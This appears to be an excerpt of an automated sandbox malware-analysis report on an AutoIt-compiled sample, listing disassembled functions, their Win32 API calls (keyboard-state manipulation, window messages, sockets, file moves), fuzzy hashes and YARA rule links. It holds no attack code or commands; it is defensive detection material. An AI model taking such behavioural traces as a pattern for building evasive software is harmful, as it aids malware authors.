Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01054648
VariantInit.OLEAUT32(?), ref: 01054749
VariantClear.OLEAUT32(?), ref: 01054753
VariantClear.OLEAUT32(?), ref: 010547B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0105472C
Null Object assignment in FOR..IN loop, xrefs: 010545D8, 01054706, 010547BE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 030b43a69b10ceb9f987b6113557fd93b160c9d824996b371e9e032560c0ae1d
Instruction ID: 89c1fed37558b0c52e7f854895ce081f7e4af0a7c86d280fe371321246e3fa21
Opcode Fuzzy Hash: 030b43a69b10ceb9f987b6113557fd93b160c9d824996b371e9e032560c0ae1d
Instruction Fuzzy Hash: B7915D71A00219EBDF64CFA5C884FEFBBB8EF45714F008559E945EB281E7709985CBA0

Function 01041187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0104125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 01041284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 010412A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 010412D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0104135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 010413C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 01041430

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: d16d4a84294bc1388fc3c97572b606c766a8fa3cfc40d5acf9592199da8ec79f
Instruction ID: 69e08e32beeb3ac7854d5b409c17d5e9f1a90399f4e235503337a3ffd8522481
Opcode Fuzzy Hash: d16d4a84294bc1388fc3c97572b606c766a8fa3cfc40d5acf9592199da8ec79f
Instruction Fuzzy Hash: BB91A1B5A00209AFEB11DF98C8C4BBE77B5FF45315F144079E680EB291DB79A981CB90

Function 00FE948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b42b90b3e78f2d888db7c36582d0caf3c8039fef3b6af53c0054a15c334768e1
Instruction ID: 811b37544c199333d590c4ab2563f325d86e7c220103c41c736b336682199125
Opcode Fuzzy Hash: b42b90b3e78f2d888db7c36582d0caf3c8039fef3b6af53c0054a15c334768e1
Instruction Fuzzy Hash: 52916871D04219EFDB10CFAACC84AEEBBB8FF49320F148449E555B7251D3B8AA41DB60

Function 01053947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0105396B
CharUpperBuffW.USER32(?,?), ref: 01053A7A
_wcslen.LIBCMT ref: 01053A8A
VariantClear.OLEAUT32(?), ref: 01053C1F

Part of subcall function 01040CDF: VariantInit.OLEAUT32(00000000), ref: 01040D1F
Part of subcall function 01040CDF: VariantCopy.OLEAUT32(?,?), ref: 01040D28
Part of subcall function 01040CDF: VariantClear.OLEAUT32(?), ref: 01040D34

Strings

AUTOIT.ERROR, xrefs: 01053A80, 01053A85
Incorrect Parameter format, xrefs: 010539A6, 01053BA1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 24f01fcf6390d1b084e93f23235ef9223d667a914bb80f72433179c0325d8703
Instruction ID: c6795db04b5f77a381133ffc3403ce27d3a29ede6da26cf33a1d5dd1e5c231fd
Opcode Fuzzy Hash: 24f01fcf6390d1b084e93f23235ef9223d667a914bb80f72433179c0325d8703
Instruction Fuzzy Hash: E5915775A083059FCB40DF28C88096ABBE5BF88354F04896EF9899B351DB35ED45CB92

Function 01054BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0103000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?,?,0103035E), ref: 0103002B
Part of subcall function 0103000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?), ref: 01030046
Part of subcall function 0103000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?), ref: 01030054
Part of subcall function 0103000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?), ref: 01030064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 01054C51
_wcslen.LIBCMT ref: 01054D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 01054DCF
CoTaskMemFree.OLE32(?), ref: 01054DDA

Strings

NULL Pointer assignment, xrefs: 01054E23, 01054E52

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: bde510c4b02b68f38242f0a54d021c507ed9eeded5cc2d98757ca16cd1043d9c
Instruction ID: 9800d67f19fda851104d9cb3db59c05eb471f059b2c1ae28cce22a8ba8247cb0
Opcode Fuzzy Hash: bde510c4b02b68f38242f0a54d021c507ed9eeded5cc2d98757ca16cd1043d9c
Instruction Fuzzy Hash: 77914771D0021DAFDF20DFA4DC90AEEBBB9BF48310F10816AE955A7251EB749A44DF60

Function 010620FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 01062183
GetMenuItemCount.USER32(00000000), ref: 010621B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 010621DD
_wcslen.LIBCMT ref: 01062213
GetMenuItemID.USER32(?,?), ref: 0106224D
GetSubMenu.USER32(?,?), ref: 0106225B

Part of subcall function 01033A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 01033A57
Part of subcall function 01033A3D: GetCurrentThreadId.KERNEL32 ref: 01033A5E
Part of subcall function 01033A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,010325B3), ref: 01033A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 010622E3

Part of subcall function 0103E97B: Sleep.KERNEL32 ref: 0103E9F3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 8818bccbe05d342d8871fcc89ddfbe3502852fd0713f98562cdc994a8a67d1b0
Instruction ID: 1bacc85326933825c6ed706574697fdb211d4470e83537e660c48c8a70184506
Opcode Fuzzy Hash: 8818bccbe05d342d8871fcc89ddfbe3502852fd0713f98562cdc994a8a67d1b0
Instruction Fuzzy Hash: 65717075E00206EFCB10DF68C845AAEBBF9EF88310F148499E996EB351D735E9418B90

Function 01067E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00B84D28), ref: 01067F37
IsWindowEnabled.USER32(00B84D28), ref: 01067F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0106801E
SendMessageW.USER32(00B84D28,000000B0,?,?), ref: 01068051
IsDlgButtonChecked.USER32(?,?), ref: 01068089
GetWindowLongW.USER32(00B84D28,000000EC), ref: 010680AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 010680C3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: a857d7e69eab94ec759f74fca74afde09b2fa84f10704e1486ad0639acde9d46
Instruction ID: b23956ac3aa6f63cb3ad873e0aab83a9aa93718acb099448f3b3d0760998c4cd
Opcode Fuzzy Hash: a857d7e69eab94ec759f74fca74afde09b2fa84f10704e1486ad0639acde9d46
Instruction Fuzzy Hash: C9717C34604205AFEB719F68C884FEABBFDEF09304F14449AFAD597261C736A951CB20

Function 0103AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0103AEF9
GetKeyboardState.USER32(?), ref: 0103AF0E
SetKeyboardState.USER32(?), ref: 0103AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0103AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0103AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0103AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0103B020

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: cf5bf3758e9a5a4bcb43ce60a46702a6a8a81425b0c7367a4ee94df527f5348a
Instruction ID: dcdda6f7b8d5dd6210e18cc905720b2ff74d97c2e9c4dc556c3f0da4a5511b48
Opcode Fuzzy Hash: cf5bf3758e9a5a4bcb43ce60a46702a6a8a81425b0c7367a4ee94df527f5348a
Instruction Fuzzy Hash: 8951E3A06047D57DFB764238C845BBABEED5B86308F0885C9F2D9964D2C3D9A8C4D760

Function 0103ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0103AD19
GetKeyboardState.USER32(?), ref: 0103AD2E
SetKeyboardState.USER32(?), ref: 0103AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0103ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0103ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0103AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0103AE38

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 255f225906d6ab0f09de3dd24de045f067bedda0c890e9a3470957a80f589702
Instruction ID: 527a20a00bd03e8878412d67805cb697a3a877bf4b6827a311a0279fb4720fc8
Opcode Fuzzy Hash: 255f225906d6ab0f09de3dd24de045f067bedda0c890e9a3470957a80f589702
Instruction Fuzzy Hash: E451E7A17047D57EFB379238CC59BBA7EDC5B86304F0885C8E1D6874C2D294E884D760

Function 0100542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(01013CD6,?,?,?,?,?,?,?,?,01005BA3,?,?,01013CD6,?,?), ref: 01005470
__fassign.LIBCMT ref: 010054EB
__fassign.LIBCMT ref: 01005506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,01013CD6,00000005,00000000,00000000), ref: 0100552C
WriteFile.KERNEL32(?,01013CD6,00000000,01005BA3,00000000,?,?,?,?,?,?,?,?,?,01005BA3,?), ref: 0100554B
WriteFile.KERNEL32(?,?,00000001,01005BA3,00000000,?,?,?,?,?,?,?,?,?,01005BA3,?), ref: 01005584

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b8b5f39179328974c68b370caee3b259fce603fb6ad279ee87e42dadb21aaa67
Instruction ID: fad42c17f26f2de9184f950cc57bf5853d17be7232e586263fee1967f89829d6
Opcode Fuzzy Hash: b8b5f39179328974c68b370caee3b259fce603fb6ad279ee87e42dadb21aaa67
Instruction Fuzzy Hash: 6451BF70A002499FEB22CFA8DC55AEEBBF9EF09301F14415AF995E7291D6319A41CF60

Function 00FF2D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00FF2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00FF2D53
_ValidateLocalCookies.LIBCMT ref: 00FF2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00FF2E0C
_ValidateLocalCookies.LIBCMT ref: 00FF2E61

Strings

csm, xrefs: 00FF2DF6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f7bd6224d96904da030aadefab687ddf5dcda9ae10034af94941dfcf4f3fcf99
Instruction ID: 569ab40d31e24c7b9c3318080b1d97128085cae5f8a2f9048d7c8a1095877188
Opcode Fuzzy Hash: f7bd6224d96904da030aadefab687ddf5dcda9ae10034af94941dfcf4f3fcf99
Instruction Fuzzy Hash: D041B335E0020DABCF10DF68CC95ABEBBB5BF45324F148155EA14AB362D7399A05DB90

Function 010510B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0105304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0105307A
Part of subcall function 0105304E: _wcslen.LIBCMT ref: 0105309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 01051112
WSAGetLastError.WSOCK32 ref: 01051121
WSAGetLastError.WSOCK32 ref: 010511C9
closesocket.WSOCK32(00000000), ref: 010511F9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 411542f2f83e35a9e5a7ddb458f99071b3a99d5b089bd39ab6b739c7827533c6
Instruction ID: 5fea2a7d6d14d5c539a584ddd55500b57e396f4fc6805ccc21446e9a50d18906
Opcode Fuzzy Hash: 411542f2f83e35a9e5a7ddb458f99071b3a99d5b089bd39ab6b739c7827533c6
Instruction Fuzzy Hash: 03412B31600204AFEB609F28C844BAEBBE9FF45364F048099FC959B295C779ED41CBE5

Function 0103CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0103DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0103CF22,?), ref: 0103DDFD

Part of subcall function 0103DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0103CF22,?), ref: 0103DE16

lstrcmpiW.KERNEL32(?,?), ref: 0103CF45
MoveFileW.KERNEL32(?,?), ref: 0103CF7F
_wcslen.LIBCMT ref: 0103D005
_wcslen.LIBCMT ref: 0103D01B
SHFileOperationW.SHELL32(?), ref: 0103D061

Strings

\*.*, xrefs: 0103CFF3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 8e44ea0315bece9f24bc4e345bc45ebdd13d103dd408e6ba2c102f6f2bddf1d5
Instruction ID: c46a69caed7f51650b2f80320c10e0511cd6f057aa9aa5a569cc2b371a3dcd2a
Opcode Fuzzy Hash: 8e44ea0315bece9f24bc4e345bc45ebdd13d103dd408e6ba2c102f6f2bddf1d5
Instruction Fuzzy Hash: 774155719052195FEF52EBA4DA81ADEB7FCAF58380F0000E6E689EB141EB35A744CF50

Function 01062DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 01062E1C
GetWindowLongW.USER32(?,000000F0), ref: 01062E4F
GetWindowLongW.USER32(?,000000F0), ref: 01062E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 01062EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 01062EE0
GetWindowLongW.USER32(?,000000F0), ref: 01062EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 01062F0B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 66c3990766660ded6639d2566ccc3282cde3b4ecf59a489a48a07bacbf70ea5a
Instruction ID: 6c21fb142d4c51ca54f652e7aa93b939937cd6b8b8fa6433dea680f642455f71
Opcode Fuzzy Hash: 66c3990766660ded6639d2566ccc3282cde3b4ecf59a489a48a07bacbf70ea5a
Instruction Fuzzy Hash: 57312430644241AFEB21CF5CDD84FA537E8FB9A710F1501A5FA908F2A6CB76A840CB01

Function 01037726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 01037769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0103778F
SysAllocString.OLEAUT32(00000000), ref: 01037792
SysAllocString.OLEAUT32(?), ref: 010377B0
SysFreeString.OLEAUT32(?), ref: 010377B9
StringFromGUID2.OLE32(?,?,00000028), ref: 010377DE
SysAllocString.OLEAUT32(?), ref: 010377EC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 17a1e6d26b18cd36cc128634355ac11f7f30359fc68cd35181775e1d45e1dbff
Instruction ID: fd97319947ae23b3632598ee0d9cc216ec98d91217a4c3d1fed49129191456c0
Opcode Fuzzy Hash: 17a1e6d26b18cd36cc128634355ac11f7f30359fc68cd35181775e1d45e1dbff
Instruction Fuzzy Hash: CB21B0B6604219AFEB11DEADCC88CBB77ECFB492647008066FA84DB251DA74DC41C760

Function 010377FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 01037842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 01037868
SysAllocString.OLEAUT32(00000000), ref: 0103786B
SysAllocString.OLEAUT32 ref: 0103788C
SysFreeString.OLEAUT32 ref: 01037895
StringFromGUID2.OLE32(?,?,00000028), ref: 010378AF
SysAllocString.OLEAUT32(?), ref: 010378BD

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
